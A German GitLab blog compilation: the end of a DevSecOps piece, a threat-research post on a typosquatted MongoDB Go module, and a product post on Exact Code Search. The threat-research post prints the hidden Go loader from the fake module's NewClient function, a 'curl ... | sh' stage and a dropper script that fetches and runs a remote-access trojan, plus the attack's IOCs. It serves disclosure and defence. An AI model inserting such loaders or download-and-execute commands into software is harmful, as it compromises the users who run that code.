Wie ein Director of DevOps bei einem technologieorientierten Automobilhersteller (ein GitLab-Kunde) erklärt: "Es ist wirklich entscheidend für uns, eine einzige Übersicht zu haben, auf die wir schauen und die Status sehen können. Die Entwickler(innen) sind sich beim Einbringen eines Merge Requests des Status eines bestimmten Workflows bewusst, um sich so schnell wie möglich zu bewegen." Diese Transparenz beschleunigt die Innovation und ermöglicht es Automobilherstellern, schnell auf Softwarefunktionen zu iterieren, die ihre Fahrzeuge in einem zunehmend wettbewerbsintensiven Markt differenzieren.

Silos aufbrechen durch kollaborative Entwicklung

Embedded-Systems-Leader haben ein klares Zeitfenster, um durch die DevSecOps-Einführung einen Wettbewerbsvorteil zu erlangen. Aber das Fenster wird nicht für immer offen bleiben. Software wird weiterhin zum primären Differenzierungsfaktor in eingebetteten Produkten, und die Kluft zwischen Leadern und Nachzüglern wird nur größer werden.

Unternehmen, die DevSecOps erfolgreich einführen, werden Kosten senken, die Markteinführungszeit beschleunigen und Innovationen freischalten, die sie auf dem Markt differenzieren. Die Embedded-Systems-Leader von morgen sind diejenigen, die heute DevSecOps annehmen.

Während dieser Artikel untersuchte, warum jetzt die kritische Zeit für Embedded-Teams ist, DevSecOps einzuführen, fragst du dich vielleicht nach den praktischen Schritten für den Einstieg. Erfahre, wie du diese Konzepte mit unserem Leitfaden in die Praxis umsetzen kannst: 4 Wege zur Beschleunigung der Embedded-Entwicklung mit GitLab (Artikel auf Englisch).

GitLab entdeckt MongoDB Go-Modul Supply-Chain-Angriff

2025-06-30T00:00:00.000Z

Software-Supply-Chain-Angriffe über bösartige Abhängigkeiten gehören weiterhin zu den bedeutendsten Sicherheitsbedrohungen für die moderne Softwareentwicklung. Die weit verbreitete Nutzung von Open-Source-Komponenten hat es Entwicklungsteams ermöglicht, Anwendungen schnell zu erstellen, aber auch die Angriffsfläche vergrößert.

Das wachsende Ökosystem von Drittanbieter-Paketen bietet zahlreiche Möglichkeiten für Angreifer, Abhängigkeiten durch Techniken wie Typosquatting, Dependency Confusion und Paket-Impersonation auszunutzen, was es für Entwickler(innen) zunehmend schwieriger macht, legitime Pakete von bösartigen Nachahmungen zu unterscheiden.

Um diese Herausforderung anzugehen, hat das Vulnerability Research Team von GitLab kürzlich ein automatisiertes Erkennungssystem entwickelt, das proaktiv bösartige Abhängigkeiten in Software-Supply-Chains identifizieren soll. Das System kombiniert mehrere Erkennungstechniken, die zusammenarbeiten:

Automatisierte Typosquatting-Erkennung, die verdächtige Namensmuster identifiziert
Semantische Code-Analyse, die potenziell bösartige Verhaltensweisen wie Netzwerkanfragen oder Befehlsausführungen kennzeichnet
KI-unterstütztes initiales Screening für fortgeschrittene Payload- und Verschleierungserkennung

Dieser mehrschichtige Ansatz wird vom Vulnerability Research Team verwendet, um kontinuierlich neu veröffentlichte Abhängigkeiten in wichtigen Ökosystemen zu scannen und frühzeitig vor Supply-Chain-Angriffen zu warnen.

Mit diesem Erkennungssystem hat GitLab kürzlich einen aktiven Typosquatting-Angriff in freier Wildbahn identifiziert, der ein bösartiges MongoDB Go-Modul nutzte. Im Folgenden finden sich Details zum Angriff und dazu, wie GitLab daran arbeitet, Supply Chains sicher zu halten.

Zusammenfassung: Ein MongoDB-Modul, mit dem etwas nicht stimmt

Unser Erkennungssystem hat ein neu veröffentlichtes Go-Modul namens github.com/qiniiu/qmgo gemeldet, das das beliebte MongoDB-Modul github.com/qiniu/qmgo genau nachahmt. Das legitime Modul beschreibt sich selbst als „Der Go-Treiber für MongoDB" und hat in der Go-Community an Bedeutung gewonnen.

Um das bösartige Modul als legitim zu tarnen, verwendete der Bedrohungsakteur einen GitHub-Benutzernamen, der fast identisch mit dem des echten Moduls war, mit einer subtilen Änderung: Sie fügten ein „i" hinzu (qiniu → qiniiu). Für den gelegentlichen Beobachter, der durch Suchergebnisse oder Auto-Vervollständigungs-Vorschläge scrollt, wäre dieser Unterschied sehr leicht zu übersehen.

Der Code des neuen Moduls war eine funktionierende Kopie des legitimen qmgo-Moduls. Allerdings wurde bösartiger Code in die NewClient-Funktion in client.go eingefügt, eine Funktion, die Entwickler(innen) natürlich aufrufen würden, wenn sie ihre MongoDB-Verbindung initialisieren. Das Verbergen von bösartigem Code innerhalb einer Funktion machte die Payload weniger wahrscheinlich, während potenzieller Laufzeit-Sicherheitsanalysen ausgeführt zu werden, während sichergestellt wurde, dass sie bei normaler Nutzung in echten Anwendungen ausgeführt würde.

Nach der Meldung des bösartigen Moduls wurde es innerhalb von etwa 19 Stunden nach unserer ersten Meldung entfernt. Der Bedrohungsakteur passte sich jedoch schnell an und veröffentlichte nur vier Tage später eine zweite Typosquatting-Version (github.com/qiiniu/qmgo) mit identischem bösartigem Code. Dieser Folgeangriff wurde ebenfalls erkannt und etwa eine Stunde nach der ersten Entdeckung entfernt. Die schnelle Neubereitstellung zeigt die Hartnäckigkeit dieser Angriffe und unterstreicht, warum proaktive Erkennung entscheidend ist, um Expositionsfenster zu minimieren.

Technische Tiefenanalyse: Die Schichten abziehen

Der Bedrohungsakteur unternahm Schritte, um den Angriff zu verbergen. Die bösartige Payload verwendete einen mehrschichtigen Ansatz, beginnend mit einem kompakten Code-Snippet, das eine Kette von Remote-Payload-Downloads auslöste:

txt, err := script.Get("https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html").String()
if err == nil {
    txt2, err := script.Get(string(strings.Replace(txt, "\n", "", -1))).String()
    if err == nil {
        exec.Command("/bin/sh", "-c", string(txt2)).Start()
    }
}

Der Angriff entfaltet sich in vier verschiedenen Schichten:

Schicht 1: Der Code holt update.html aus einem anderen Repository, das dem Typosquat-Konto qiiniu/vue-element-admin gehört. Die Datei enthielt eine einzelne Zeile:

https://img.googlex.cloud/seed.php

Schicht 2: Der Code holt dann https://img.googlex.cloud/seed.php, was einen einzelnen Shell-Befehl zurückgibt, der ausgeführt wird:

curl -s http://207.148.110.29:80/logon61.gif|sh

Schicht 3: Der Befehl weist das System an, http://207.148.110.29:80/logon61.gif mit curl abzurufen und die Antwort als Shell-Skript auszuführen. Das Shell-Skript lädt eine scheinbare MP3-Datei (chainelli.mp3) nach /tmp/vod herunter, macht sie ausführbar, führt sie aus und löscht sie sofort:

#!/bin/sh
rm -rf /tmp/vod
curl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod
chmod 777 /tmp/vod
/tmp/vod
rm -rf /tmp/vod

Schicht 4: Die chainelli.mp3-Datei ist tatsächlich eine statisch gelinkte, gestrippte ELF Go-Binärdatei, die darauf ausgelegt ist, persistenten Remote-Zugriff herzustellen. Nach der Ausführung versucht die Malware, sich mit ihrem Command-and-Control-Server bei ellipal.spoolsv.cyou auf Port 443 (sowohl TCP als auch UDP) zu verbinden, wobei ein benutzerdefiniertes verschlüsseltes Kommunikationsprotokoll mit einem hartcodierten RSA-Schlüssel verwendet wird. Von dort aus bietet sie dem Bedrohungsakteur Remote-Administrationsfähigkeiten:

Vollständiger Remote-Shell-Zugriff und einmalige Befehlsausführung
Screenshot-Aufnahmen
SOCKS-Proxy-Funktionalität, um Verbindungen über die kompromittierte Maschine herzustellen
Konfigurierbares Schlafintervall zwischen Check-ins mit dem Command-and-Control-Server zur Vermeidung von Erkennung
Standard-Remote-Access-Trojaner-Funktionen wie Dateisystem-Browsing und Upload/Download

Es ist zurück (schon wieder)

Nur vier Tage nachdem GitLab das erste bösartige Modul gemeldet und seine Entfernung beobachtet hatte, erschien github.com/qiiniu/qmgo – die zweite Typosquatting-Version mit identischem bösartigem Code. Diese schnelle Neubereitstellung demonstriert die Hartnäckigkeit dieser Angriffe und zeigt, wie Bedrohungsakteure sich schnell an Takedown-Bemühungen anpassen.

GitLabs Ansatz: Nadeln im Heuhaufen finden

Die anfängliche Entdeckung und Beständigkeit dieses Angriffs bestätigte unseren Ansatz zur proaktiven Abhängigkeitsüberwachung und Bedrohungserkennung. GitLabs Erkennungssystem kombiniert mehrere Techniken zur Identifizierung bösartiger Abhängigkeiten:

Typosquatting-Erkennung: GitLab überwacht neu veröffentlichte Abhängigkeiten und sucht nach Paketen, die Anzeichen verschiedener Typosquatting-Strategien zeigen.

Semantische Heuristik: Unser System analysiert Code statisch auf Muster wie Netzwerkanfragen, Befehlsausführungen und andere für bösartige Payloads typische Verhaltensweisen.

KI-unterstützte Analyse: Ein Large Language Model führt die anfängliche Analyse der verdächtigen Teile des Codes durch, um uns zu helfen, offensichtliche Fehlalarme auszusortieren, komplexe Payloads zu erkennen und Verschleierungstechniken zu identifizieren, die verwendet werden, um bösartige Absichten zu verbergen.

Menschliche Überprüfung: Ein Mensch erhält eine Warnung, um den Fund zu verifizieren und eine erweiterte Analyse durchzuführen.

Empfehlungen: Persistenten Supply-Chain-Bedrohungen voraus bleiben

Dieser Angriff unterstreicht die anhaltenden Herausforderungen bei der Sicherung von Software-Supply-Chains. Die mehrschichtige Verschleierung und schnelle Neubereitstellung nach dem Takedown zeigen, dass Bedrohungsakteure bereit sind, erheblichen Aufwand zu investieren, um beliebte Abhängigkeiten ins Visier zu nehmen.

Der schnelle Wechsel zu neuen Typosquatting-Paketen nach unserer ersten Meldung hebt eine grundlegende Schwäche in den aktuellen Ökosystemen hervor: Paketmanager entfernen bösartige Abhängigkeiten normalerweise erst, nachdem sie veröffentlicht, entdeckt und von der Community gemeldet wurden. Dieser reaktive Ansatz hinterlässt ein gefährliches Zeitfenster, in dem Entwickler(innen) unwissentlich kompromittierte Pakete konsumieren können. Proaktive Überwachungs- und Erkennungssysteme wie das von GitLab entwickelte können helfen, diese Lücke zu schließen, indem sie Bedrohungen während des Veröffentlichungsprozesses selbst identifizieren.

Wir haben Indicators of Compromise (IOCs) im nächsten Abschnitt bereitgestellt, die in Überwachungssystemen verwendet werden können, um diese spezifische Kampagne zu erkennen.

Indicators of Compromise

IOC	Beschreibung
`github.com/qiniiu/qmgo`	Bösartiges Go-Modul
`github.com/qiiniu/qmgo`	Bösartiges Go-Modul
`https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html`	Payload-Bereitstellungs-URL
`https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html`	Payload-Bereitstellungs-URL
`https://img.googlex.cloud/seed.php`	Payload-Bereitstellungs-URL
`http://207.148.110.29:80/logon61.gif`	Payload-Bereitstellungs-URL
`http://207.148.110.29:80/chainelli.mp3`	Payload-Bereitstellungs-URL
`img.googlex.cloud`	Payload-Bereitstellungs-Host
`207.148.110.29`	Payload-Bereitstellungs-Host
`ellipal.spoolsv.cyou`	Command & Control-Host
`6ada952c592f286692c59028c5e0fc3fa589759f`	SHA-1-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware
`8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c`	SHA-256-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware
`/tmp/vod`	Temporärer Download-Speicherort der chainelli.mp3 Remote-Administrations-Malware

Wie GitLab hilft, die Software-Supply-Chain zu sichern

Bösartige Abhängigkeiten wie der MongoDB Go-Modul-Angriff zeigen, warum die Sicherung der Software-Supply-Chain mehr als nur CVE-Überwachung erfordert. GitLabs DevSecOps-Plattform umfasst Application Security Testing-Scanner wie Software Composition Analysis im Entwicklungslebenszyklus, die Teams helfen, verwundbare oder bösartige Pakete zu erkennen, bevor sie die Produktion erreichen.

Gepaart mit Forschungsbemühungen wie dieser zielt GitLab darauf ab, Entwickler(inne)n zu ermöglichen, Anwendungen zu erstellen, die von Anfang an sicher sind, ohne die Entwicklungsgeschwindigkeit zu beeinträchtigen.

Zeitlinie

2025-06-01T09:31: GitLab meldet github.com/qiniiu/qmgo an Go Security
2025-06-01T09:43: GitLab meldet github.com/qiniiu/qmgo an GitHub
2025-06-01T10:14: GitLab meldet ellipal.spoolsv.cyou (188.166.213.194) an den IP-Block-Eigentümer
2025-06-02T04:03: Go Security entfernt github.com/qiniiu/qmgo
2025-06-02T09:57: Der IP-Block-Eigentümer sperrt 188.166.213.194
2025-06-03T09:15: GitHub sperrt github.com/qiniiu
2025-06-05T17:15: GitLab meldet github.com/qiiniu/qmgo an Go Security
2025-06-05T17:33: GitLab meldet github.com/qiiniu/qmgo an GitHub
2025-06-05T17:45: Go Security entfernt github.com/qiiniu/qmgo
2025-06-06T12:25: GitHub sperrt github.com/qiiniu

Exact Code Search: So findet man Code blitzschnell über mehrere Repositories hinweg

2025-06-25T00:00:00.000Z

Kurz gesagt: Was wäre, wenn du jede Codezeile in 48 TB an Repositories in Millisekunden finden könntest? GitLabs neue Exact Code Search macht genau das möglich – mit präzisen Treffern, leistungsstarker Regex-Unterstützung und kontextbezogenen mehrzeiligen Ergebnissen, die die Arbeit mit großen Codebasen revolutionieren.

Warum traditionelle Code-Suche herausfordernd ist

Jeder, der mit Code arbeitet, kennt die Frustration bei der Suche über Repositories hinweg. Egal ob du als Entwickler(in) einen Fehler debuggst, als DevOps-Ingenieur(in) Konfigurationen untersuchst, als Sicherheitsanalyst(in) nach Schwachstellen suchst, als technische(r) Redakteur(in) Dokumentationen aktualisierst oder als Manager(in) Implementierungen überprüfst – du weißt genau, was du brauchst, aber herkömmliche Suchwerkzeuge lassen dich oft im Stich.

Diese konventionellen Tools liefern Dutzende von False Positives, bieten nicht den nötigen Kontext zum Verständnis der Ergebnisse und werden mit wachsenden Codebasen immer langsamer. Das Ergebnis? Wertvolle Zeit wird mit der Suche nach der Nadel im Heuhaufen verschwendet, anstatt Software zu entwickeln, zu sichern oder zu verbessern.

GitLabs Code-Suchfunktion basierte bisher auf Elasticsearch oder OpenSearch. Diese eignen sich zwar hervorragend für die Suche in Issues, Merge Requests, Kommentaren und anderen Daten mit natürlicher Sprache, wurden aber nicht speziell für Code entwickelt. Nach der Evaluierung zahlreicher Optionen haben wir eine bessere Lösung entwickelt.

Wir stellen vor: Exact Code Search – drei bahnbrechende Funktionen

Mit GitLabs Exact Code Search, derzeit in der Beta-Phase und angetrieben von Zoekt (ausgesprochen "sukt", niederländisch für "sucht"). Zoekt ist eine Open-Source-Code-Suchmaschine, die ursprünglich von Google entwickelt und jetzt von Sourcegraph gepflegt wird – speziell konzipiert für schnelle, präzise Code-Suche im großen Maßstab. Wir haben sie mit GitLab-spezifischen Integrationen, Verbesserungen für Unternehmensmaßstäbe und nahtloser Integration des Berechtigungssystems erweitert.

Diese Funktion revolutioniert, wie du Code findest und verstehst, mit drei Hauptfunktionen:

1. Exact Match-Modus: Null False Positives

Im Exact Match-Modus liefert die Suchmaschine nur Ergebnisse, die exakt deiner Suchanfrage entsprechen, und eliminiert False Positives. Diese Präzision ist unbezahlbar beim:

Suchen nach spezifischen Fehlermeldungen
Finden bestimmter Funktionssignaturen
Aufspüren von Instanzen spezifischer Variablennamen

2. Regular Expression-Modus: Leistungsstarkes Pattern Matching

Für komplexe Suchanforderungen ermöglicht der Regular Expression-Modus die Erstellung ausgefeilter Suchmuster:

Finde Funktionen, die bestimmten Namensmustern folgen
Lokalisiere Variablen mit bestimmten Einschränkungen
Identifiziere potenzielle Sicherheitslücken mittels Pattern Matching

3. Mehrzeilige Treffer: Code im Kontext sehen

Statt nur eine einzelne Zeile mit deinem Suchbegriff zu sehen, erhältst du den umgebenden Kontext, der für das Verständnis des Codes entscheidend ist. Das eliminiert die Notwendigkeit, für grundlegendes Verständnis in Dateien zu klicken, und beschleunigt deinen Workflow erheblich.

Von Funktionen zu Workflows: Anwendungsfälle und Auswirkungen aus der Praxis

Schauen wir uns an, wie diese Funktionen zu echten Produktivitätssteigerungen in alltäglichen Entwicklungsszenarien führen:

Debugging: Von der Fehlermeldung zur Ursache in Sekunden

Vor Exact Code Search: Eine Fehlermeldung kopieren, suchen, durch Dutzende von Teiltreffern in Kommentaren und Dokumentation waten, durch mehrere Dateien klicken und schließlich den tatsächlichen Code finden.

Mit Exact Code Search:

Die exakte Fehlermeldung kopieren
Sie in Exact Code Search im Exact Match-Modus einfügen
Sofort die präzise Stelle finden, wo der Fehler ausgelöst wird, mit umgebendem Kontext

Auswirkung: Reduziere die Debugging-Zeit von Minuten auf Sekunden und eliminiere die Frustration durch False Positives.

Code-Exploration: Unbekannte Codebasen schnell meistern

Vor Exact Code Search: Durch Verzeichnisse browsen, fundierte Vermutungen über Dateispeicherorte anstellen, Dutzende von Dateien öffnen und langsam eine mentale Karte der Codebasis aufbauen.

Mit Exact Code Search:

Nach Schlüsselmethoden oder -klassen im Exact Match-Modus suchen
Mehrzeilige Treffer überprüfen, um Implementierungsdetails zu verstehen
Den Regular Expression-Modus nutzen, um ähnliche Muster in der Codebasis zu finden

Auswirkung: Baue eine mentale Karte der Code-Struktur in Minuten statt Stunden auf und beschleunige Onboarding und teamübergreifende Zusammenarbeit dramatisch.

Refactoring mit Zuversicht

Vor Exact Code Search: Versuchen, alle Instanzen einer Methode zu finden, einige Vorkommen übersehen und durch unvollständiges Refactoring Fehler einführen.

Mit Exact Code Search:

Den Exact Match-Modus nutzen, um alle Vorkommen von Methoden oder Variablen zu finden
Kontext überprüfen, um Verwendungsmuster zu verstehen
Dein Refactoring mit vollständigen Informationen über die Auswirkungen planen

Auswirkung: Eliminiere die "übersehene Instanz"-Fehler, die Refactoring-Bemühungen oft plagen, verbessere die Code-Qualität und reduziere Nacharbeit.

Sicherheitsaudits: Verwundbare Muster finden

Sicherheitsteams können:

Regex-Muster erstellen, die bekanntem verwundbarem Code entsprechen
Über alle Repositories in einem Namespace suchen
Schnell potenzielle Sicherheitsprobleme mit Kontext identifizieren, der bei der Risikobewertung hilft

Auswirkung: Verwandle Sicherheitsaudits von manuellen, fehleranfälligen Prozessen in systematische, umfassende Überprüfungen.

Repository-übergreifende Einblicke

Suche über deinen gesamten Namespace oder deine Instanz, um:

Ähnliche Implementierungen in verschiedenen Projekten zu identifizieren
Möglichkeiten für gemeinsame Bibliotheken oder Standardisierung zu entdecken

Auswirkung: Baue Silos zwischen Projekten ab und identifiziere Möglichkeiten für Code-Wiederverwendung und Standardisierung.

Die technische Grundlage: Wie Zoekt Geschwindigkeit und Präzision liefert

Bevor wir in unsere Skalierungserfolge eintauchen, lass uns erkunden, was Zoekt grundlegend von traditionellen Suchmaschinen unterscheidet – und warum es exakte Treffer so unglaublich schnell finden kann.

Positionale Trigramme: Das Geheimnis blitzschneller exakter Treffer

Zoekts Geschwindigkeit kommt von der Verwendung positionaler Trigramme – einer Technik, die jede Sequenz von drei Zeichen zusammen mit ihren exakten Positionen in Dateien indexiert. Dieser Ansatz löst einen der größten Schmerzpunkte, die Entwickler(innen) mit Elasticsearch-basierter Code-Suche hatten: False Positives.

So funktioniert es:

Traditionelle Volltextsuchmaschinen wie Elasticsearch tokenisieren Code in Wörter und verlieren Positionsinformationen. Wenn du nach getUserId() suchst, könnten sie Ergebnisse liefern, die user, get und Id über eine Datei verteilt enthalten – was zu diesen frustrierenden False Positives für GitLab-Nutzer(innen) führt.

Zoekts positionale Trigramme behalten exakte Zeichensequenzen und ihre Positionen bei. Wenn du nach getUserId() suchst, sucht Zoekt nach den exakten Trigrammen wie get, etU, tUs, Use, ser, erI, rId, Id(, d(), alle in der korrekten Reihenfolge und Position. Das stellt sicher, dass nur exakte Treffer zurückgegeben werden.

Das Ergebnis? Suchanfragen, die zuvor Hunderte irrelevanter Ergebnisse lieferten, liefern jetzt nur noch die präzisen Treffer, nach denen du suchst. Das war eine unserer meistgewünschten Funktionen aus gutem Grund – Entwickler(innen) verloren erhebliche Zeit beim Durchsuchen von False Positives.

Regular Expression-Performance im großen Maßstab

Zoekt glänzt bei exakten Treffern und ist für Regular Expression-Suchen optimiert. Die Engine nutzt ausgefeilte Algorithmen, um Regex-Muster wenn möglich in effiziente Trigramm-Abfragen umzuwandeln und behält die Geschwindigkeit selbst bei komplexen Mustern über Terabytes von Code bei.

Entwickelt für Unternehmensmaßstäbe

Exact Code Search ist leistungsstark und für massive Skalierung mit beeindruckender Performance gebaut. Das ist nicht nur eine neue UI-Funktion – sie wird von einer komplett neu konzipierten Backend-Architektur angetrieben.

Terabytes von Code mit Leichtigkeit bewältigen

Allein auf GitLab.com indexiert und durchsucht unsere Exact Code Search-Infrastruktur über 48 TB an Code-Daten bei gleichzeitig blitzschnellen Antwortzeiten. Diese Größenordnung repräsentiert Millionen von Repositories über Tausende von Namespaces, alle innerhalb von Millisekunden durchsuchbar. Um das in Perspektive zu setzen: Diese Größenordnung repräsentiert mehr Code als die gesamten Linux-Kernel-, Android- und Chromium-Projekte zusammen. Dennoch kann Exact Code Search eine spezifische Zeile in dieser massiven Codebasis in Millisekunden finden.

Selbstregistrierende Node-Architektur

Unsere innovative Implementierung bietet:

Automatische Node-Registrierung: Zoekt-Nodes registrieren sich selbst bei GitLab
Dynamische Shard-Zuweisung: Das System weist Namespaces automatisch Nodes zu
Gesundheitsüberwachung: Nodes, die sich nicht melden, werden automatisch als offline markiert

Diese selbstkonfigurierende Architektur vereinfacht die Skalierung dramatisch. Wenn mehr Kapazität benötigt wird, können Administratoren einfach weitere Nodes hinzufügen, ohne komplexe Neukonfiguration.

Verteiltes System mit intelligentem Load Balancing

Hinter den Kulissen arbeitet Exact Code Search als verteiltes System mit diesen Schlüsselkomponenten:

Spezialisierte Such-Nodes: Zweckgebundene Server, die Indexierung und Suche übernehmen
Intelligentes Sharding: Code wird basierend auf Namespaces über Nodes verteilt
Automatisches Load Balancing: Das System verteilt Arbeit intelligent basierend auf Kapazität
Hohe Verfügbarkeit: Mehrere Replikate gewährleisten kontinuierlichen Betrieb, selbst wenn Nodes ausfallen

Hinweis: Hohe Verfügbarkeit ist in die Architektur integriert, aber noch nicht vollständig aktiviert. Siehe Issue 514736 für Updates.

Nahtlose Sicherheitsintegration

Exact Code Search integriert sich automatisch mit GitLabs Berechtigungssystem:

Suchergebnisse werden basierend auf den Zugriffsrechten des Nutzers gefiltert
Nur Code aus Projekten, auf die der Nutzer Zugriff hat, wird angezeigt
Sicherheit ist in die Kernarchitektur integriert, nicht nachträglich hinzugefügt

Optimierte Performance

Effiziente Indexierung: Große Repositories werden in Dutzenden von Sekunden indexiert
Schnelle Query-Ausführung: Die meisten Suchen liefern Ergebnisse mit Antwortzeiten unter einer Sekunde
Streaming-Ergebnisse: Die neue gRPC-basierte föderierte Suche streamt Ergebnisse, sobald sie gefunden werden
Frühzeitiger Abbruch: Sobald genügend Ergebnisse gesammelt wurden, pausiert das System die Suche

Von der Bibliothek zum verteilten System: Technische Herausforderungen, die wir gelöst haben

Während Zoekt die Kern-Suchtechnologie bereitstellte, war es ursprünglich als minimale Bibliothek zur Verwaltung von .zoekt-Indexdateien konzipiert – nicht als verteilte Datenbank oder Unternehmens-Service. Hier sind die wichtigsten technischen Herausforderungen, die wir überwunden haben, um es in GitLabs Maßstab zum Laufen zu bringen:

Herausforderung 1: Aufbau einer Orchestrierungsschicht

Das Problem: Zoekt war für die Arbeit mit lokalen Indexdateien konzipiert, nicht für die Verteilung über mehrere Nodes, die viele gleichzeitige Nutzer bedienen.

Unsere Lösung: Wir haben eine umfassende Orchestrierungsschicht aufgebaut, die:

Datenbankmodelle erstellt und verwaltet, um Nodes, Indizes, Repositories und Aufgaben zu verfolgen
Eine selbstregistrierende Node-Architektur implementiert (inspiriert von GitLab Runner)
Automatische Shard-Zuweisung und Load Balancing über Nodes hinweg handhabt
Bidirektionale API-Kommunikation zwischen GitLab Rails und Zoekt-Nodes bereitstellt

Herausforderung 2: Skalierung von Speicher und Indexierung

Das Problem: Wie verwaltet man effizient Terabytes von Indexdaten über mehrere Nodes bei gleichzeitig schnellen Updates?

Unsere Lösung: Wir implementierten:

Intelligentes Sharding: Namespaces werden basierend auf Kapazität und Last über Nodes verteilt
Unabhängige Replikation: Jeder Node indexiert unabhängig von Gitaly (unserem Git-Speicherdienst), wodurch komplexe Synchronisation eliminiert wird
Watermark-Management: Ausgefeilte Speicherzuweisung, die verhindert, dass Nodes der Speicherplatz ausgeht
Einheitliche Binary-Architektur: Ein einzelnes gitlab-zoekt-Binary, das sowohl im Indexer- als auch im Webserver-Modus arbeiten kann

Herausforderung 3: Berechtigungsintegration

Das Problem: Zoekt hatte kein Konzept von GitLabs komplexem Berechtigungssystem – Nutzer sollten nur Ergebnisse aus Projekten sehen, auf die sie Zugriff haben.

Unsere Lösung: Wir haben native Berechtigungsfilterung direkt in den Suchablauf integriert:

Suchanfragen enthalten Nutzerberechtigungskontext
Ergebnisse werden gefiltert, um nur die anzuzeigen, auf die der Nutzer zugreifen kann, falls sich Berechtigungen ändern, bevor die Indexierung abgeschlossen ist

Herausforderung 4: Betriebliche Einfachheit

Das Problem: Die Verwaltung eines verteilten Suchsystems sollte kein dediziertes Team erfordern.

Unsere Lösung:

Auto-Scaling: Das Hinzufügen von Kapazität ist so einfach wie das Bereitstellen weiterer Nodes – sie registrieren sich automatisch und beginnen mit der Arbeit
Selbstheilung: Nodes, die sich nicht melden, werden automatisch als offline markiert und ihre Arbeit wird umverteilt
Zero-Configuration-Sharding: Das System bestimmt automatisch optimale Shard-Zuweisungen

Schrittweiser Rollout: Risikominimierung im großen Maßstab

Der Rollout eines komplett neuen Such-Backends für Millionen von Nutzern erforderte sorgfältige Planung. So haben wir die Auswirkungen auf Kunden minimiert und gleichzeitig Zuverlässigkeit sichergestellt:

Phase 1: Kontrolliertes Testen (gitlab-org-Gruppe)

Wir begannen damit, Exact Code Search nur für die gitlab-org-Gruppe zu aktivieren – unsere eigenen internen Repositories. Das ermöglichte uns:

Das System mit echten Produktions-Workloads zu testen
Performance-Engpässe zu identifizieren und zu beheben
Den Bereitstellungsprozess zu optimieren
Aus den Workflows und dem Feedback echter Nutzer zu lernen

Phase 2: Performance-Validierung und -Optimierung

Vor der Erweiterung konzentrierten wir uns darauf sicherzustellen, dass das System GitLab.coms Maßstab bewältigen konnte:

Umfassendes Monitoring und Alerting implementiert
Speicherverwaltung mit echtem Produktionsdatenwachstum validiert

Phase 3: Schrittweise Kundenerweiterung

Wir erweiterten schrittweise auf Kunden, die daran interessiert waren, Exact Code Search zu testen:

Feedback zu Performance und Benutzererfahrung gesammelt
Die Such-UI basierend auf echten Nutzer-Workflows verfeinert
Indexierungs-Performance optimiert (große Repositories wie gitlab-org/gitlab indexieren jetzt in ~10 Sekunden)
Die Architektur basierend auf betrieblichen Erkenntnissen verfeinert
Indexierungs-Durchsatz massiv erhöht und Zustandsübergangs-Lebenszyklus verbessert

Phase 4: Breiter Rollout

Heute haben über 99 % der Premium- und Ultimate-lizenzierten Gruppen auf GitLab.com Zugriff auf Exact Code Search. Nutzer können:

Zwischen Regex- und exaktem Suchmodus umschalten
Die Vorteile ohne Konfigurationsänderungen erleben
Bei Bedarf auf die vorherige Suche zurückgreifen (obwohl wenige dies wählen)

Der schrittweise Rollout bedeutete, dass Nutzer keine Service-Unterbrechungen, Performance-Verschlechterungen oder Feature-Lücken während des Übergangs erlebten. Wir haben bereits positives Feedback von Nutzern erhalten, die bemerken, dass ihre Ergebnisse relevanter und schneller werden.

Für technische Details: Interessiert an der detaillierten Architektur und Implementierung? Schau dir unser umfassendes Design-Dokument für ausführliche technische Details an, wie wir dieses verteilte Suchsystem gebaut haben.

Erste Schritte mit Exact Code Search

Der Einstieg in Exact Code Search ist einfach, da es bereits standardmäßig für Premium- und Ultimate-Gruppen auf GitLab.com aktiviert ist (über 99 % der berechtigten Gruppen haben derzeit Zugriff).

Schnellstart-Anleitung

Navigiere zur erweiterten Suche in deinem GitLab-Projekt oder deiner Gruppe
Gib deinen Suchbegriff im Code-Tab ein
Wechsle zwischen Exact Match- und Regular Expression-Modus
Nutze Filter, um deine Suche zu verfeinern

Grundlegende Such-Syntax

Egal ob du den Exact Match- oder Regular Expression-Modus verwendest, du kannst deine Suche mit Modifikatoren verfeinern:

Abfrage-Beispiel	Was es bewirkt
`file:js`	Sucht nur in Dateien, die "js" im Namen enthalten
`foo -bar`	Findet "foo", schließt aber Ergebnisse mit "bar" aus
`lang:ruby`	Sucht nur in Ruby-Dateien
`sym:process`	Findet "process" in Symbolen (Methoden, Klassen, Variablen)

Profi-Tipp: Für die effizientesten Suchen beginne spezifisch und erweitere dann bei Bedarf. Die Verwendung von file:- und lang:-Filtern erhöht die Relevanz dramatisch.

Erweiterte Suchtechniken

Stapele mehrere Filter für Präzision:

is_expected file:rb -file:spec

Das findet "is_expected" in Ruby-Dateien, die nicht "spec" im Namen haben.

Nutze reguläre Ausdrücke für leistungsstarke Muster:

token.*=.*[\"']

Sieh dir diese Suche im GitLab Zoekt Repository an.

Die Suche hilft, hartcodierte Passwörter zu finden, die, wenn nicht gefunden, ein Sicherheitsproblem darstellen können.

Für detailliertere Syntax-Informationen, schau in die Exact Code Search-Dokumentation.

Verfügbarkeit und Bereitstellung

Aktuelle Verfügbarkeit

Exact Code Search befindet sich derzeit in der Beta-Phase für GitLab.com-Nutzer mit Premium- und Ultimate-Lizenzen:

Verfügbar für über 99 % der lizenzierten Gruppen
Die Suche in der UI nutzt automatisch Zoekt, wenn verfügbar, Exact Code Search in der Such-API ist hinter einem Feature-Flag

Bereitstellungsoptionen für Self-Managed

Für Self-Managed-Instanzen bieten wir mehrere Bereitstellungsmethoden:

Kubernetes/Helm: Unsere am besten unterstützte Methode, mit unserem gitlab-zoekt Helm Chart
Andere Bereitstellungsoptionen: Wir arbeiten an der Vereinfachung der Bereitstellung für Omnibus und andere Installationsmethoden

Die Systemanforderungen hängen von deiner Codebasis-Größe ab, aber die Architektur ist darauf ausgelegt, horizontal und/oder vertikal zu skalieren, wenn deine Anforderungen wachsen.

Was als Nächstes kommt

Während Exact Code Search bereits leistungsstark ist, verbessern wir sie kontinuierlich:

Skalierungsoptimierungen zur Unterstützung von Instanzen mit Hunderttausenden von Repositories
